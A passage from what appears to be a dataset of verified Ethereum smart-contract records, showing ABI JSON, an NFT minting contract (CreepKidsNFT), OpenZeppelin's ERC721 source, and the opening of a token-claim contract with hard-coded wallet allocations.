:[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isOwnersOpenSeaProxy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_supply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newAnimationCode","type":"string"}],"name":"setAnimationCode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newAnimationURI","type":"string"}],"name":"setAnimationURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"contractURI_","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"proxyRegistryAddress","type":"address"}],"name":"setOpenSeaRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"begin","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"},{"internalType":"string","name":"text","type":"string"}],"name":"strSlice","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_uint8","type":"uint8"}],"name":"toByte","outputs":[{"internalType":"bytes1","name":"","type":"bytes1"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | 00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000007682969b74d73dd72963fdb353476a5c3cecf7860000000000000000000000000000000000000000000000000000000000000120000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c1000000000000000000000000000000000000000000000000000000000000000c4c6f4669536b796c696e6573000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c46534c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005e68747470733a2f2f6c6f6669736b796c696e65732e6d7970696e6174612e636c6f75642f697066732f516d51434a795764525273464e595a64706b68474c5a56614d4c7638324744754b47327746474250426f61736f412f3f736565643d0000 | Default | false | ||||
CreepKidsNFT | contracts/CreepKidsNFT.sol | 0x7ef232e01c45377b0321ff11ca50c59c5b69212b | Solidity | pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CreepKidsNFT is ERC721, ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private TokenIds;
uint CurrentMintIndex;
uint PromoMintCount;
bool Unlocked;
uint constant public TotalCount = 1000;
uint[TotalCount] private Indices;
event TokenMintEvent(uint256 newID);
string private metadataPath;
constructor() public ERC721("Creep Kids Genesis", "CRK") {
//security
Unlocked = false;
PromoMintCount = 50;
//nft.storage ipfs hash
metadataPath = "ipfs://QmcrVNTcC9DTGia2YbdrYchzt26te94DkEGikPNd3q1Ug3";
}
//Thank you to the DerpyBirbs & NOOBS
function randomIndex() internal returns (uint) {
uint totalSize = TotalCount - CurrentMintIndex;
uint index = uint(keccak256(abi.encodePacked(CurrentMintIndex, msg.sender, block.difficulty, block.timestamp))) % totalSize;
uint value = 0;
if (Indices[index] != 0) {
value = Indices[index];
} else {
value = index;
}
// Move last value to selected position
if (Indices[totalSize - 1] == 0) {
// Array position not initialized, so use position
Indices[index] = totalSize - 1;
} else {
// Array position holds a value so use that
Indices[index] = Indices[totalSize - 1];
}
return value;
}
function unlock() public onlyOwner {
Unlocked = true;
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function createCreepKid(address receiver, uint count)
public payable
{
require(Unlocked, "Creep Kid Minting is still Locked :-/");
require(count <= 10, "Not allowed to mint more than 10 at once!");
require(msg.value >= 0.0666 ether * count, "Not enough eth paid! .0666 per creep");
require((count + CurrentMintIndex-1) < 1000, "Unable to mint, not enough creep kids left :-(");
for(uint i = 0; i < count; i++)
{
_mintCreepKid(receiver);
}
}
function promoMint(address receiver, uint count)
public onlyOwner
{
require(PromoMintCount > 0, "Promo mints exhausted :-(");
require(count <= 10, "Max per mint is 10!");
require(PromoMintCount + 1 - count > 0, "Count exceeds promo count");
PromoMintCount -= count;
for(uint i = 0; i < count; i++)
{
_mintCreepKid(receiver);
}
}
function _mintCreepKid(address receiver)
private
{
uint256 newID = TokenIds.current();
string memory randomID = uintToString(randomIndex());
string memory tokenURI = string(abi.encodePacked(metadataPath,'/',randomID));
_safeMint(receiver, newID);
_setTokenURI(newID, tokenURI);
TokenIds.increment();
CurrentMintIndex++;
TokenMintEvent(newID);
}
//PAYABLE
function getBalance() public view returns (uint256){
return address(this).balance;
}
function withdraw(uint256 amount)
public onlyOwner
{
require(amount <= address(this).balance, "Amount requested is too much");
payable(msg.sender).transfer(amount);
}
//ENCODING
function concatenate(bytes32 x, bytes32 y) public pure returns (bytes memory) {
return abi.encodePacked(x, y);
}
function bytes32ToString(bytes32 data) public pure returns (string memory) {
uint8 i = 0;
while(i < 32 && data[i] != 0){
i++;
}
bytes memory bytesArray = new bytes(i);
for(i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
}
function uintToString(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
} | 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outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | Default | false | |||||
CreepKidsNFT | @openzeppelin/contracts/token/ERC721/ERC721.sol | 0x7ef232e01c45377b0321ff11ca50c59c5b69212b | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "./extensions/IERC721Enumerable.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newID","type":"uint256"}],"name":"TokenMintEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TotalCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"data","type":"bytes32"}],"name":"bytes32ToString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes32","name":"x","type":"bytes32"},{"internalType":"bytes32","name":"y","type":"bytes32"}],"name":"concatenate","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"createCreepKid","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"promoMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | Default | false | |||||
sunClaim | sunClaim.sol | 0xf36acf7f0288c4f5df714973064994cdf82f81f4 | Solidity | /**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2;
interface ERC20 {
function balanceOf(address _owner) external view returns (uint256 balance);
function approve(address _spender, uint256 _value) external returns (bool success);
function transfer(address dst, uint wad) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint8 decimals);
}
contract sunClaim {
mapping(address => bool) isOwner;
mapping(address => uint) pubAllo;
mapping(address => uint) privAllo;
mapping(address => bool) hasClaimed_pub1;
mapping(address => bool) hasClaimed_pub2;
mapping(address => bool) hasClaimed_priv1;
mapping(address => bool) hasClaimed_priv2;
mapping(address => bool) hasClaimed_priv3;
address suntoken = 0xB3d8D8D659d4dc89699826D46585ac6cB3bEA05A;//mainnet: 0xB3d8D8D659d4dc89699826D46585ac6cB3bEA05A;
ERC20 TOKEN = ERC20(suntoken);
uint claim2_timestamp = 1650024000;
uint claim3_timestamp = 1652616000;
constructor() {
isOwner[msg.sender] = true;
pubAllo [ 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111 ] = 8250000 ;
pubAllo [ 0x5e6cDa012fA9baF45331b649412E114A63151516 ] = 6601622 ;
pubAllo [ 0x9aB5C85752fD5A12389271B6d6E86ccf13aC7111 ] = 3300000 ;
pubAllo [ 0x96d912adc0E8D8A1e25F19d32653d8F06dbBCcF9 ] = 33000000 ;
pubAllo [ 0xA20dC8e6caf2b3bfbc0303224b35892Ae4781E7B ] = 11000000 ;
pubAllo [ 0x02A867d2216E96c48daC65Fa564e827d65Bcd9c3 ] = 7080700 ;
pubAllo [ 0x134BD47d928ac034ca81a05e4CE9A721915C1553 ] = 11000000 ;
pubAllo [ 0x1e62A12D4981e428D3F4F28DF261fdCB2CE743Da ] = 11000000 ;
pubAllo [ 0x21dAaCB3B5E86692bCDf5805741eBdaFAB4d0B76 ] = 11000000 ;
pubAllo [ 0x221A25ab9eB38C4Afe8239b89d8A56B54A4FD0a7 ] = 11000000 ;
pubAllo [ 0x2eAD324AE95655b023908B8f25A3228193653b43 ] = 11000000 ;
pubAllo [ 0x2eFD967C74cC4321b1eacaA4075Bae7EEc723479 ] = 11000000 ;
pubAllo [ 0x36DB7e320769Bb38e1E2863d084f70Cb5Bb63fc3 ] = 11000000 ;
pubAllo [ 0x39b5B7d307F27348b1f00A8014564BEBA8B3513c ] = 4400000 ;
pubAllo [ 0x3C4cd9AD8Eb5E686dBF1cC56C762e2fc656bd24e ] = 2200000 ;
pubAllo [ 0x457b4E21545A4d728C4a23CE9388C9e0d4370cDf ] = 6600000 ;
pubAllo [ 0x4886976bD2E822D8483e3363a0843461c3A8a2eB ] = 11000000 ;
pubAllo [ 0x4E2B9A6Ac739733563413df29a0c56D021213Cb8 ] = 11000000 ;
pubAllo [ 0x55645A2e1b9124a6862Ea40389C46291909cc062 ] = 11000000 ;
pubAllo [ 0x566C6599f9Df969819B3d213B362ad5fe6e39975 ] = 11000000 ;
pubAllo [ 0x63b693912bd249636979229F3479bBCEfCb266e7 ] = 6672749 ;
pubAllo [ 0x6a5c95590fbA36E360699C0797b7ae5c27175bFd ] = 22000000 ;
pubAllo [ 0x67A974dc51BF69F74e236E063a3877b674196aFF ] = 6600000 ;
pubAllo [ 0x6eC7373F7Ce088d751FCeF11E6009933Db62849d ] = 11000000 ;
pubAllo [ 0x7123E389f37C0aE868F26693b9a041486e4eE14D ] = 11000000 ;
pubAllo [ 0x81F979843eB1Aeb63192fB2806954B2d8d40CaD7 ] = 4400000 ;
pubAllo [ 0x96f692E0D794fA46021BDf36E1bc8d8afF8Bc304 ] = 11000000 ;
pubAllo [ 0xC508DEE1A2db0f32e0156FF0af62FB0353903d53 ] = 11000000 ;
pubAllo [ 0xc9Eb785CFAB7C47e86Dd42A76183c7340c7B4d24 ] = 11000000 ;
pubAllo [ 0xD44b4f0Ff68d68D5E1c44C3f906FA2216e648A1A ] = 2200000 ;
pubAllo [ 0xdB94A4F899D1Da8fa0AD202826aBedA7E5825089 ] = 11012361 ;
pubAllo [ 0x9af95b4c2209ce92a18a118EF3454d07B2a97Cb6 ] = 8662500 ;
pubAllo [ 0xE5287EdF1e5a9C71F0890743D785b09306d7c9Aa ] = 2200000 ;
pubAllo [ 0xe61868C50f3D565DA4bC23b05c282C9d5aC5297D ] = 11000000 ;
pubAllo [ 0xe9ad315bF094faB4f5466D0083Fff8E91C923adD ] = 2200000 ;
pubAllo [ 0xF1633c382282fe44e999Cf110714301f04AA0825 ] = 11000000 ;
pubAllo [ 0xF26802713fA70057f2D63b693960C830357c7501 ] = 11000000 ;
pubAllo [ 0xFc4d1E48bF228346a39c6af3b78B19ECCA1cFC98 ] = 22000000 ;
privAllo [ 0x830BBe006C2Ed0a4c815C9dBd193515e1c4B06cd ] = 15625000 ;
privAllo [ 0x20BCe045Cb22Bc88346cE0948F3C2314186037c5 ] = 15625000 ;
privAllo [ 0x02A867d2216E96c48daC65Fa564e827d65Bcd9c3 ] = 15625000 ;
privAllo [ 0xBD488d1AC171F03B76B4313cFF7D062D80c58215 ] = 12500000 ;
